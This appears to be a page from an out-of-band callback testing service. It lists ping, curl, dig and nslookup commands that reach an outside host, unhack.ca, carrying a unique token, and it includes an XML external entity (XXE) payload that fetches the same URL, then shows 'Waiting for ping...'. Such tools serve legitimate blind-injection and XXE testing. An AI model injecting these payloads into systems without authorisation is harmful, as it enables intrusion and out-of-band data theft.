$ ping -c1 -p 009c6375663ee9cbb05cfec5b12a7d00 unhack.ca
 
$ curl http://unhack.ca/p/9c6375663ee9cbb05cfec5b12a7d
 
$ dig 9c6375663ee9cbb05cfec5b12a7d @unhack.ca
 
$ dig 9c6375663ee9cbb05cfec5b12a7d.ns.unhack.ca
 
C:\> nslookup 9c6375663ee9cbb05cfec5b12a7d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9c6375663ee9cbb05cfec5b12a7d">]>
    <foo>&xxe;</foo>
Waiting for ping...